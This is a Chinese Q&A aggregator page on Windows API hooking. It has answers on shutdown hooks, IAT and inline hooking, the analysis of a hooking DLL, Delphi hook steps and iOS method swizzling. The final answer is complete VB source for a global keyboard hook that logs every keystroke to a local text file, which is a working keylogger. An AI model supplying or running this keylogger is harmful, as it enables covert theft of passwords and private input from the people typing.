当前位置:首页 » 操作系统 » hookapi源码

hookapi源码

发布时间: 2022-05-24 16:53:08

Ⅰ 易语言怎么hook关机命令

(信息框(“是否关闭计算机”,0,“提示”) 然后判定返回值按下了哪个键 或者要密码的话做个带密码的窗口,载入那个窗口,如果真(编辑框1.内容=“123” 且 编辑框2.内容=“456”) 则执行关闭系统() 求采纳!!

Ⅱ 求教如何用c++编写hook 系统API getsystemmetric 的源代码 用CAPIHook 类是否能实现因为尝试了多编。

hook有很多种,一般都是内联hook,要一定的汇编知识。
我看了你说的CAPIHook也是写硬编码替换函数地址。

Ⅲ CallKeyHookProc是我在hook的vb源码中看到一个function 但怎么查也查不到 msdn、api viewer等等都无果

额, 这个应该是一个自定义的钩子回调函数,所以你查不到,这个名字是自己定人
所依据的原则就是setwindowshookex中的第二个参数

Ⅳ 如何检测自己程序的API被HOOK了

对于程序员来讲,API拦截技术是一种重要的基础技术。这项技能为编写某些工具软件提供了可能,并可以大大提高我们对第三方应用程序的控制能力。不过,目前 API 拦截的技术资料往往局限于原理方面的论述,对于如何具体地编译一个 API 拦截程序却守口如瓶。毕竟,对于程序员来讲,当初学习这项技能花费了不少心血,如果让他们无偿地奉献出来,恐怕不太现实;另外的一个因素就是竞争,多一个人学会这项技能,就多一份竞争。我在掌握这项技能的时候,就走了不少弯路,如果当初有一份详细的资料,这些不必要的弯路是完全可以避免。而这正是我编写这份技术资料的目的。 本程序是一个示例程序,用以演示如何拦截 API 调用。开始拦截 CreateProcess之后,当用户通过资源管理器运行程序时,就会弹出一个对话框提示用户运行了什么程序。停止拦截之后,用户运行程序时则不会弹出对话框。 随本程序附带的教程是未注册版本,如果您需要详细的资料,请通过网上商城进行注册。注册费用为 320 元人民币。最终价格请以网上商城的价格为准。 这就引起了我的好奇,难道这个软件用了什么牛x的新技术?居然这么值钱!那得看看,于是就把该软件下载下来研究了研究。谁知道,他所用的技术不但一点创新都没有,还有着很大的局限性。于是就有了这篇文章,还希望高手不要见笑。 这个程序的原版大家自己找,名字就叫做API拦截教程。启动该程序后,按下拦截createprocess的按钮后,运行任何程序都会弹出运行程序的路径。稍微了解apihook的都了解,通常ring3下hookapi的办法有三种,一是修改程序的iat表,使api调用跳向自己的函数而不是转向api入口。二是修改api入口的机器码。三是用创建远线程CreateRemoteThread的办法来完成。那么这个教程究竟用了什么先进手法呢? 先运行一次,按下按钮后,果然explorer弹出了程序的路径。此时,你如果使用icesword类的可以查看程序模块的程序查看explorer的模块,你就会发现explorer里面多了个InterceptDll.dll的模块,当我们卸载了这个dll后,这个拦截的效果就没有了。看来这个程序的核心不是那个启动的程序,而是这个dll。现在让我们看看这个InterceptDll.dll到底做了什么。 先使用VC++的工具DUMPBIN将DLL中的导出函数表导出到一定义(.DEF)文件 DUMPBIN InterceptDll.dll /EXPROTS /OUT:InterceptDll.def ordinal hint RVA name 1 0 00001230 InstallHook 2 1 00001270 UninstallHook 只有两个导出函数,看名字就知道,一个是安装钩子,一个卸载钩子。我们调用看看 ,结果连参数都不用,只要调用InstallHook就可以把InterceptDll.dll插入explorer,用UninstallHook就可以卸载钩子。看来我们不用分析他的exe文件了,因为有用的东西就在这个dll里。那么如何分析这个dll这么工作的呢?直接用ida看静态代码,可以看见dll里有vivirtualalloc,setwindowshookexa等钩子函数。但是,里面乜嘢CreateRemoteThread这个函数,那么基本可以排除了第三种方法了。修改iat或者字节数的可能性比较大一些。那么具体究竟是用了什么手段,又是怎么实现的呢?光静态看源代码看出来,我可没那种本事。如果说要实时调试explorer又非常的麻烦,那么怎么办呢?其实办法很简单啦,只要自己修改一个exe文件名让他跟explorer同名就可以了。这家伙可不管你是真李逵还是假李鬼,统统都插!我先写了个很简单的exe程序,只有一个按钮直接掉用createprocess启动notepad的小程序,然后改名为explorer。运行后让程序拦截,果然再用icesword看模块,那个InterceptDll.dll偷偷的钻进了我写的这个程序。 好,现在动手钻进InterceptDll.dll的内部,看看他到底干了什么!我用的是olldbg,其实windbg也可以,我用od习惯了。先附加到我自己写的这个小explorer程序,然后在createprocess下断点,按下启动notepad的按钮,断下以后,一步一步跟踪。转载仅供参考,版权属于原作者。祝你愉快,满意请采纳哦

Ⅳ 求hook api的源代码

API HookImport Table API Hook 完整代码
http://lysoft.g4soft.net/Projects/API%20Hook.rar
API Hook 工具相关代码
http://www.supercss.com/StaticData/Resource/Code/part_5/2006system0.rar
详谈HOOK API的技术
http://tieba..com/f?kz=138641790

不知对你是否有帮助

Ⅵ delphi怎么HOOK指定API函数!

API钩子很简单,源码我没有,如果你会用API的话,我给你讲一下实现的过程吧:先用GetMoleHandle函数获取dll的模块句柄,再用GetProcAddress函数获取要HOOK的函数地址,
下一步用VirtualProtect函数将要HOOK的函数所在地址的属性设置为可写,最后一步,将新函数地址(用于替换原函数)写到原函数入口地址替换掉原函数地址,这样就实现了API钩子功能了

Ⅶ 我是电脑迷,常看到API hook,请问什么用法是什么意思啊

1、API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数,目的是提供应用程序与开发人员基于某软件或硬件的以访问一组例程的能力,而又无需访问源码,或理解内部工作机制的细节。API除了有应用“应用程序接口”的意思外,还特指 API的说明文档,也称为帮助文档。
2、也就是说,Windows 这个多作业系统除了协调应用程式的执行、分配内存、管理系统资源…之外, 她同时也是一个很大的服务中心,调用这个服务中心的各种服务(每一种服务就是一个函数),可以帮应用程式达到开启视窗、描绘图形、使用周边设备…等目的,由于这些函数服务的对象是应用程式, 所以便称之为 Application Programming Interface,简称 API 函数。WIN32 API也就是MicrosoftWindows 32位平台的应用程序编程接口。 凡是在 Windows 工作环境底下执行的应用程式, 都可以调用Windows API。

Ⅷ iOS中如何实现hook

我们都知道在windows下可以通过API轻松的hook很多消息,IOS里面貌似还没有现成的API(可能是我还没发现吧),前段时间碰巧看到Objective-C运行时的一些东西,于是心想着是不是可以尝试一下实现hook的功能。
下面先直接上源码:1//2//TestHookObject.m3//TestHookMessage4//5//Created by mapleCao on 13-2-28.6//Copyright (c) 2013年 mapleCao. All rights reserved.7//89#import"TestHookObject.h"10#import<objc/objc.h11#import<objc/runtime.h1213@implementation
TestHookObject1415//this method will just excute once16+ (void)initialize17{18//获取到UIWindow中sendEvent对应的method19Method sendEvent = class_getInstanceMethod([UIWindowclass
], @selector(sendEvent:));20Method sendEventMySelf = class_getInstanceMethod([selfclass
], @selector(sendEventHooked:));2122//将目标函数的原实现绑定到sendEventOriginalImplemention方法上23IMP sendEventImp =
method_getImplementation(sendEvent);24class_addMethod([UIWindowclass
], @selector(sendEventOriginal:), sendEventImp, method_getTypeEncoding(sendEvent));2526//然后用我们自己的函数的实现,替换目标函数对应的实现27IMP sendEventMySelfImp =
method_getImplementation(sendEventMySelf);28class_replaceMethod([UIWindowclass
], @selector(sendEvent:), sendEventMySelfImp, method_getTypeEncoding(sendEvent));29}3031/*32* 截获到window的sendEvent33* 我们可以先处理完以后,再继续调用正常处理流程34*/35- (void)sendEventHooked:(UIEvent *)event36{37//do something what ever you want38NSLog(@"haha, this is my self sendEventMethod!!!!!!!");3940//invoke original implemention41[self performSelector:@selector(sendEventOriginal:) withObject:event];42}4344@end下面我们来逐行分析一下上面的代码:
首先我们来看19行,这一行主要目的是获取到UIWindow原生的sendEvent的
Method(一个结构体,用来对方法进行描述)
,接着第20行是获取到我们自己定义的类中的sendEvent的Method
(这两个方法的签名必须一样,否则运行时报错)
。第23行我们通过UIWindow原生的sendEvent的Method获取到对应的
IMP(一个函数指针)
,第24行使用运行时API Class_addMethod给UIWindow类添加了一个叫sendEventOriginal的方法,该方法使用UIWindow原生的sendEvent的实现,并且有着相同的方法签名
(必须相同,否则运行时报错)。
27行是获取我们自定义类中的sendEventMySelf的IMP,28行是关键的一行,这一行的主要目的是为UIWindow原生的sendEvent指定一个新的实现,我们看到我们将该实现指定到了我们自己定义的sendEventMySelf上。到了这儿我们就完成了偷梁换柱,大功告成。
执行上面这些行以后,我们就成功的将UIWindow的sendEvent重定向到了我们自己的写的sendEventMySelf的实现,然后将其原本的实现重定向到了我们给它新添加的方法sendEventOriginal中。而sendEventMySelf中,我们首先可以对这个消息进行我们想要的处理,然后再通过41行调用sendEventOriginal方法转到正常的执行流程。
为什么执行起来不报错,而且还会正常执行?因为sendEventMySelf是UIWindow的sendEvent重定向过来的,所以在运行时该方法中的self代表的就是UIWindow的实例,而不再是TestHookObject的实例了。加上sendEventOriginal是我们通过运行时添加到UIWindow的实例方法,所以可以正常调用。当然如果直接通过下面这种方式调用也是可以的,只不过编译器会提示警告
(编译器没那么智能)
,因此我们采用了performSelector的调用方式。
[self sendEventOriginal:event];以上就是Hook的实现,使用时我们只需要让TestHookObject类执行一次初始话操作就可以了,执行完以后。UIWindow的sendEvent消息就会会hook到我们的sendEventMySelf中了。
下面是调用代码:
Install Hook
代码中我们还专门添加了一个button来验证,hook完以后消息是否正常传递。经验证消息流转完全正常。

Ⅸ 在网上找到一个利用HOOKAPI的源码 名字是sockscap 已经生成了一个socks.dll文件,请问后面再怎么搞~~~

别人做的一些类封装到DLL了 只需引用这个dll 再写程序的时候USING 一下 就可以调用了

Ⅹ 谁能给个VBAPI函数拦截的源码我看看就是APIHOOK

添加一个窗口,添加一个按钮,然后粘贴如下代码
Private Sub Command1_Click()
'加载
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0)

If hHook = 0 Then
End
End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
'卸载
Call UnhookWindowsHookEx(hHook)
End Sub

=================================
添加一个模块,在模块内粘贴以下代码

'++++++++++++++++++++++++++++++++++++++++++++
'模块部分
'++++++++++++++++++++++++++++++++++++++++++++
Public hHook As Long

Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long

Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)

Public Type EVENTMSG
vKey As Long
sKey As Long
flag As Long
time As Long
End Type

Public mymsg As EVENTMSG

Public Const WH_KEYBOARD_LL = 13

Public Const WM_KEYDOWN = &H100
Public Sub PrintTXT(ByVal CaseStr As String)
Open "c:\键盘记录.txt" For Append As #1
Print #1, CaseStr
Close #1
End Sub
Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If ncode = 0 Then
If wParam = WM_KEYDOWN Then
CopyMemory mymsg, ByVal lParam, Len(mymsg)
Select Case mymsg.vKey
Case 96
PrintTXT " 小键盘0 "
Case 97
PrintTXT " 小键盘1 "
Case 98
PrintTXT " 小键盘2 "
Case 99
PrintTXT " 小键盘3 "
Case 100
PrintTXT " 小键盘4 "
Case 101
PrintTXT " 小键盘5 "
Case 102
PrintTXT " 小键盘6 "
Case 103
PrintTXT " 小键盘7 "
Case 104
PrintTXT " 小键盘8 "
Case 105
PrintTXT " 小键盘9 "
Case 106
PrintTXT " 小键盘* "
Case 107
PrintTXT " 小键盘+ "
Case 109
PrintTXT " 小键盘- "
Case 110
PrintTXT " 小键盘. "
Case 111
PrintTXT " 小键盘/ "
Case 13
PrintTXT " 小键盘Enter "
Case 144
PrintTXT " 小键盘numlock "
Case 65
PrintTXT " A "
Case 66
PrintTXT " B "
Case 67
PrintTXT " C "
Case 68
PrintTXT " D "
Case 69
PrintTXT " E "
Case 70
PrintTXT " F "
Case 71
PrintTXT " G "
Case 72
PrintTXT " H "
Case 73
PrintTXT " I "
Case 74
PrintTXT " J "
Case 75
PrintTXT " K "
Case 76
PrintTXT " L "
Case 77
PrintTXT " M "
Case 78
PrintTXT " N "
Case 79
PrintTXT " O "
Case 80
PrintTXT " P "
Case 81
PrintTXT " Q "
Case 82
PrintTXT " R "
Case 83
PrintTXT " S "
Case 84
PrintTXT " T "
Case 85
PrintTXT " U "
Case 86
PrintTXT " V "
Case 87
PrintTXT " W "
Case 88
PrintTXT " X "
Case 89
PrintTXT " Y "
Case 90
PrintTXT " Z "
Case 48
PrintTXT " 0 "
Case 49
PrintTXT " 1 "
Case 50
PrintTXT " 2 "
Case 51
PrintTXT " 3 "
Case 52
PrintTXT " 4 "
Case 53
PrintTXT " 5 "
Case 54
PrintTXT " 6 "
Case 55
PrintTXT " 7 "
Case 56
PrintTXT " 8 "
Case 57
PrintTXT " 9 "
Case 192
PrintTXT " ` "
Case 189
PrintTXT " - "
Case 187
PrintTXT " = "
Case 220
PrintTXT " \ "
Case 8
PrintTXT " 退格 "
Case 44
PrintTXT " 9键区-印屏幕键 "
Case 45
PrintTXT " 9键区-插入键 "
Case 46
PrintTXT " 9键区-删除键 "
Case 145
PrintTXT " 9键区-滚动锁定键 "
Case 36
PrintTXT " 9键区-起始键 "
Case 35
PrintTXT " 9键区-结束键 "
Case 19
PrintTXT " 9键区-暂停中断键 "
Case 33
PrintTXT " 9键区-上页 "
Case 34
PrintTXT " 9键区-下页 "
Case 38
PrintTXT " 上 "
Case 40
PrintTXT " 下 "
Case 37
PrintTXT " 左 "
Case 39
PrintTXT " 右 "
Case 27
PrintTXT " Esc "
Case 112
PrintTXT " F1 "
Case 113
PrintTXT " F2 "
Case 114
PrintTXT " F3 "
Case 115
PrintTXT " F4 "
Case 116
PrintTXT " F5 "
Case 117
PrintTXT " F6 "
Case 118
PrintTXT " F7 "
Case 119
PrintTXT " F8 "
Case 120
PrintTXT " F9 "
Case 121
PrintTXT " F10 "
Case 122
PrintTXT " F11 "
Case 123
PrintTXT " F12 "
Case 9
PrintTXT " 大键盘左,TAB "
Case 20
PrintTXT " 大键盘左,大写锁定 "
Case 160
PrintTXT " 大键盘左Shift "
Case 162
PrintTXT " 大键盘左,Ctrl "
Case 91
PrintTXT " 大键盘左,Win "
Case 13
PrintTXT " 大键盘右,回车 "
Case 161
PrintTXT " 大键盘右,Shift "
Case 92
PrintTXT " 大键盘右,Win "
Case 93
PrintTXT " 大键盘右,弹菜单键 "
Case 163
PrintTXT " 大键盘右,Ctrl "
End Select
End If

End If

MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)

End Function

'这就是一个键盘钩子程序

热点内容
浙江服务器dns地址云空间 发布:2024-10-27 03:31:19 浏览:676
编译器的读音 发布:2024-10-27 03:31:11 浏览:473
逆水寒和魔兽哪个配置高 发布:2024-10-27 03:30:35 浏览:907
java可变长度数组 发布:2024-10-27 03:30:35 浏览:400
linux查询命令的版本 发布:2024-10-27 03:24:38 浏览:976
编程3次方 发布:2024-10-27 03:19:48 浏览:19
如何提取手机缓存视频 发布:2024-10-27 02:55:26 浏览:370
php二维数组求和 发布:2024-10-27 02:53:56 浏览:734
c语言如何被编译器编成可执行 发布:2024-10-27 02:33:27 浏览:555
解压蜂巢 发布:2024-10-27 02:32:45 浏览:184